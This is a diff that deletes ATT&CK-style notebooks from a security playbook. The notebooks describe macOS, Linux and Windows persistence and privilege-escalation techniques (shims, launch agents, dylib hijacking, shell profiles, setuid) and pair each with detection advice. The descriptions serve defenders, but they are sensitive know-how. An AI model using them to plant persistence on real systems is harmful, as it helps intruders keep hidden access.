a/playbook/tactics/persistence/T1138.ipynb b/playbook/tactics/persistence/T1138.ipynb deleted file mode 100644 index 7ecca866..00000000 --- a/playbook/tactics/persistence/T1138.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3c03a7cf", - "metadata": {}, - "source": "# T1138 - Application Shimming\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc." - }, - { - "cell_type": "markdown", - "id": "a795f632", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "bfb21e28", - "metadata": {}, - "source": "## Detection\nThere are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1150.ipynb b/playbook/tactics/persistence/T1150.ipynb deleted file mode 100644 index 53b1b2e7..00000000 --- a/playbook/tactics/persistence/T1150.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "122e40d5", - "metadata": {}, - "source": "# T1150 - Plist Modification\nProperty list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" - }, - { - "cell_type": "markdown", - "id": "c9423c43", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "52351deb", - "metadata": {}, - "source": "## Detection\nFile system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1152.ipynb b/playbook/tactics/persistence/T1152.ipynb deleted file mode 100644 index bf2687fe..00000000 --- a/playbook/tactics/persistence/T1152.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "58f3cad5", - "metadata": {}, - "source": "# T1152 - Launchctl\nLaunchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process." - }, - { - "cell_type": "markdown", - "id": "7488a3f7", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "83473cd9", - "metadata": {}, - "source": "## Detection\nKnock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1154.ipynb b/playbook/tactics/persistence/T1154.ipynb deleted file mode 100644 index 78e7fc80..00000000 --- a/playbook/tactics/persistence/T1154.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "53140979", - "metadata": {}, - "source": "# T1154 - Trap\nThe trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)" - }, - { - "cell_type": "markdown", - "id": "3ae60824", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c05c4b83", - "metadata": {}, - "source": "## Detection\nTrap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1156.ipynb b/playbook/tactics/persistence/T1156.ipynb deleted file mode 100644 index 395b1f37..00000000 --- a/playbook/tactics/persistence/T1156.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "46b042dc", - "metadata": {}, - "source": "# T1156 - Malicious Shell Modification\nAdversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the ~/.bashrc file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup." - }, - { - "cell_type": "markdown", - "id": "e1c70881", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c679c9e2", - "metadata": {}, - "source": "## Detection\nWhile users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /ect/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Apple\u2019s Security Endpoint Framework using the ES_EVENT_TYPE_NOTIFY_WRITE(Citation: ESF_filemonitoring) function for monitoring these specific files. \n" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1157.ipynb b/playbook/tactics/persistence/T1157.ipynb deleted file mode 100644 index 22bd7377..00000000 --- a/playbook/tactics/persistence/T1157.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3b93c254", - "metadata": {}, - "source": "# T1157 - Dylib Hijacking\nmacOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique." - }, - { - "cell_type": "markdown", - "id": "7624f6b7", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "4a04b4b2", - "metadata": {}, - "source": "## Detection\nObjective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1158.ipynb b/playbook/tactics/persistence/T1158.ipynb deleted file mode 100644 index 214d00b1..00000000 --- a/playbook/tactics/persistence/T1158.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "5ef45883", - "metadata": {}, - "source": "# T1158 - Hidden Files and Directories\nTo prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys." - }, - { - "cell_type": "markdown", - "id": "92743b77", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "e7e1d1a5", - "metadata": {}, - "source": "## Detection\nMonitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1159.ipynb b/playbook/tactics/persistence/T1159.ipynb deleted file mode 100644 index acff8e5c..00000000 --- a/playbook/tactics/persistence/T1159.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "a9e470bc", - "metadata": {}, - "source": "# T1159 - Launch Agent\nPer Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges)." - }, - { - "cell_type": "markdown", - "id": "b6c58e1a", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "065fa0a0", - "metadata": {}, - "source": "## Detection\nMonitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1160.ipynb b/playbook/tactics/persistence/T1160.ipynb deleted file mode 100644 index 108b5663..00000000 --- a/playbook/tactics/persistence/T1160.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3dcfa697", - "metadata": {}, - "source": "# T1160 - Launch Daemon\nPer Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation." - }, - { - "cell_type": "markdown", - "id": "5b825cbf", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "a3e39569", - "metadata": {}, - "source": "## Detection\nMonitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1161.ipynb b/playbook/tactics/persistence/T1161.ipynb deleted file mode 100644 index 47575d6c..00000000 --- a/playbook/tactics/persistence/T1161.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "924d7d76", - "metadata": {}, - "source": "# T1161 - LC_LOAD_DYLIB Addition\nMach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X)." - }, - { - "cell_type": "markdown", - "id": "04e62520", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "48168fef", - "metadata": {}, - "source": "## Detection\nMonitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1162.ipynb b/playbook/tactics/persistence/T1162.ipynb deleted file mode 100644 index a73e39db..00000000 --- a/playbook/tactics/persistence/T1162.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3bf48ae6", - "metadata": {}, - "source": "# T1162 - Login Item\nMacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items)." - }, - { - "cell_type": "markdown", - "id": "934f963b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c1915724", - "metadata": {}, - "source": "## Detection\nAll the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1163.ipynb b/playbook/tactics/persistence/T1163.ipynb deleted file mode 100644 index 9fc46d36..00000000 --- a/playbook/tactics/persistence/T1163.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "b8a7b750", - "metadata": {}, - "source": "# T1163 - Rc.common\nDuring the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence)." - }, - { - "cell_type": "markdown", - "id": "2638a0c7", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "60ee6d8c", - "metadata": {}, - "source": "## Detection\nThe /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1164.ipynb b/playbook/tactics/persistence/T1164.ipynb deleted file mode 100644 index 5114d837..00000000 --- a/playbook/tactics/persistence/T1164.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "1b16bf10", - "metadata": {}, - "source": "# T1164 - Re-opened Applications\nStarting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence)." - }, - { - "cell_type": "markdown", - "id": "59af6187", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "dffb33ba", - "metadata": {}, - "source": "## Detection\nMonitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1165.ipynb b/playbook/tactics/persistence/T1165.ipynb deleted file mode 100644 index 29864504..00000000 --- a/playbook/tactics/persistence/T1165.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "7975cfa9", - "metadata": {}, - "source": "# T1165 - Startup Items\nPer Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well." - }, - { - "cell_type": "markdown", - "id": "76c757d7", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "ff69fd65", - "metadata": {}, - "source": "## Detection\nThe /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1166.ipynb b/playbook/tactics/persistence/T1166.ipynb deleted file mode 100644 index 8584a13d..00000000 --- a/playbook/tactics/persistence/T1166.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "867ed44b", - "metadata": {}, - "source": "# T1166 - Setuid and Setgid\nWhen the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware)." - }, - { - "cell_type": "markdown", - "id": "c79da5aa", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "23ca731b", - "metadata": {}, - "source": "## Detection\nMonitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1168.ipynb b/playbook/tactics/persistence/T1168.ipynb deleted file mode 100644 index 8949b8fe..00000000 --- a/playbook/tactics/persistence/T1168.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "bfa85f60", - "metadata": {}, - "source": "# T1168 - Local Job Scheduling\nOn Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done 